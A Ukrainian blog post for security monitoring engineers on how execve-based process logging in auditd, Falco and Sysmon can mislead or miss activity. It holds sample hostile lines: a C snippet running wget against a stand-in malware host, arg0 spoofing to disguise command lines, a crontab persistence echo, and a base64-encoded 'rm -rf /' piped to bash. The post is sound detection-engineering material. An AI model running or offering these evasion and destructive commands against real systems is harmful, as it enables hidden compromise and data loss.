Execve та Механізм Логування Процесів

Вступ

Мене завжди цікавило як саме Auditd чи Falco логують події, чому різні інструменти видають різні командлайни, і чому деякі події не логуються взагалі. Особливо нагальними ці теми стають після пентесту чи інциденту, тому у цьому пості я спробую заглибитись в механізм аудиту ОС та розповім як це допоможе інженерам та аналітикам.

logs-meme

Системні Виклики

Будь-яка програма взаємодіє з ОС - виводить текст, відкриває файли, чи створює нові процеси. Зазвичай, для таких задач автори програм користуються стандартними бібліотеками (як от glibc), що значно спрощують взаємодію з ОС та вносять додаткову стабільність.

Наступним кроком бібліотеки передають інструкції напряму до ОС через системні виклики (syscalls), яких є майже 500. Наприклад, створення процесу це execve, доступ до файлу це open, а мережеве з’єднання це socket. В результаті, механізм наступний:

  1. Нехай ви з Bash консолі запускаєте /usr/bin/uname -a
  2. Bash звертається до функції стандартної бібліотеки
  3. Функція з бібліотеки створює системний виклик execve
  4. ОС створює процес та повертає назад результат виконання

Немає простого способу обійти системний виклик, тому якщо ви моніторите виклики execve та його аналоги - ви маєте повну видимість запуску процесів на системі, а отже бачите всі процеси малварі незалежно від того, які стандартні бібліотеки вона використовує. Усі інструменти які я знаю працюють саме за принципом моніторингу системних викликів, і це часто легко зрозуміти за їх конфігураційними файлами. Наприклад, в Auditd ви явно вказуєте сисколи через -S:

# Правило що моніторить запуск /usr/bin/whoami
-a always,exit -S execve -S execveat -F exe=/usr/bin/whoami
# Правило що моніторить зміну /etc/sudoers
-a always,exit -S open -S openat -F path=/etc/sudoers -F perm=w

Особливості Execve

Execve - ймовірно найбільш важливий для моніторингу системний виклик, тому що він контролює запуск процесів (аналог Sysmon події 1). Про нього і розповім далі.

Нижче ви бачите програму на C що завантажує певний скрипт через команду wget. Працює програма завдяки функції execl з стандартної бібліотеки, яка вже робить системний виклик execve. Грубо кажучи, програма запускає wget http://malware.xyz/a.sh:

#include <unistd.h>

int main() {
    // execl(path, arg0, arg1, arg2, arg3, NULL)
    execl("/usr/bin/wget", "wget", "http://malware.xyz/a.sh", NULL);
}

Командлайн та Arg0

Першою особливістю execve є аргумент arg0, в який прийнято вказувати назву програми (як от wget). Проте, ніхто не заборонить вам покласти будь-яку іншу строку в arg0 - до прикладу, helloworld:

execl("/usr/bin/wget", "helloworld", "http://malware.xyz/a.sh", NULL);

Результатом такої підміни буде те, що інструменти як Auditd, Sysmon, чи Htop сформують командлайн як helloworld http://malware.xyz/a.sh, що не має сенсу. Falco натомість бере перший аргумент з іншого джерела, тому логування командлайну може відрізнятись від тули до тули.

auditd-arg0

Командлайн та Скрипти

Ще цікавіше логуються скрипти. Нехай ви хочете моніторити запуск команди lsb_release (показує версію дистрибутиву) та пишете правило Image=/usr/bin/lsb_release. Далі, хакер в своїй малварі чи просто через консоль виконує наступне:

execl("/usr/bin/lsb_release", "lsb_release", "-a", NULL);

На жаль, ваше правило не спрацює, бо lsb_release є не виконуваним файлом, а скриптом. Коли управління доходить до ОС, вона читає shebang, бачить що скрипт потрібно запустити через інтерпретатор /bin/sh, а далі вже запускає /bin/sh з потрібними аргументами:

script-shebang

Логування такого процесу сильно відрізнятиметься від інтерпретатора (zsh/bash/python) та від інструменту (auditd/falco/etc.), проте зазвичай в логах буде щось як на зразку нижче:

Execpath: "/usr/bin/sh"
Commandline: "/bin/sh /usr/bin/lsb_release -a"

Execpath та Посилання

Абсолютний шлях до виконуваного файлу також може бути оманливим, якщо доступ до нього виконується через символьне посилання (symlink). На моїй Ubuntu 24.04, прикладами посилань є:

  1. Посилання /bin що вказує на “справжню” директорію /usr/bin
  2. Посилання /usr/bin/python3 що вказує поточну версію /usr/bin/python3.12

symlink-examples

Коли ви запускаєте /bin/whoami, або коли раните Python команди через python3 script.py - система переходить за посиланнями допоки не знайде виконуваний файл, назва та шлях якого можуть сильно відрізнятись від посилання. Як наслідок, рекомендую змінити ваші правила на:

# /bin є посиланням на /usr/bin, проте не завжди (!)
Image=/bin/curl -> Image IN(/usr/bin/curl, /bin/curl)

# Початкове правило не покриє python3.4 / python3.12
Image=*/python3 -> Image=*/python3*

Вбудовані Bash Команди

У попередньому розділі я навів приклади, коли логування оманливе. Проте є й деякі команди які не логуються взагалі. До прикладу, ви не знайдете в логах команд echo, printf, export, cd, або alias. Чому ж так?

Усі наведені команди є частиною командної оболонки Sh або Bash (shell builtins), а не окремим файлами десь в /usr/bin. Кожного разу коли ви запускаєте echo або cd, ваша командна оболонка не звертається до інших бінарників, а виконує задачу самостійно, тому й не робить системного виклику execve та не генерує вам логів.

shell-builtins

Особливо неприємно втрачати видимість команд echo та printf, через які часто бекдорять файли або виконують команди, як на зразку нижче. На жаль, я не чув про опен-сорсні інструменти, що здатні логувати вбудовані команди, тому все що можу порекомендувати - це також моніторити .bash_history та орієнтуватись на інші індикатори, як от на зміну /etc/crontab чи запуск base64.

# Без логування echo ви не побачите що поклали в crontab
echo "* * * * * do_bad_stuff" >> /etc/crontab
# Без логування echo ви не побачите оригінальний пейлоад
echo "cm0gLXJmIC8=" | base64 -d | /bin/bash

Execve Проти Fork

Лінукс ядро надає з десяток системних викликів якими можна напряму чи опосередковано запустити процес. Про execve я вже розповів, проте є й інше, наприклад execveat та fork. В цьому розділі я поділюсь думками про моніторинг другого.

На відміну від execve, fork створює копію батьківського процесу. Простою мовою, умовний /bin/malware через fork зможе запустити тільки процес /bin/malware, і нічого більше. Цей системний виклик чудово підходить для мультизадачності та інших легітимних цілей, і може генерувати ледь не в 10 разів більше подій у порівнянні з execve.

Проте, оскільки через fork не вийде запустити інший бінарник, для хакерів цей сискол не такий корисний. Звісно, є певні техніки де fork грає ключову роль, проте моя суб’єктивна думка - краще зекономити на SIEM ліцензії та не моніторити fork взагалі, ніж пропустити реальну атаку серед терабайтів fork спаму. Особливо це стосується користувачів Elastic Defend, який збирає fork та exit за замовчуванням.

У Підсумку

Кожен інструмент моніторингу розробляє власні методи боротьби з описаними проблемами execve, тому важливо розуміти що міграція з одного інструменту на інший може поламати багато ваших правил. Якщо ж ви тільки на етапі вибору, мої рекомендації: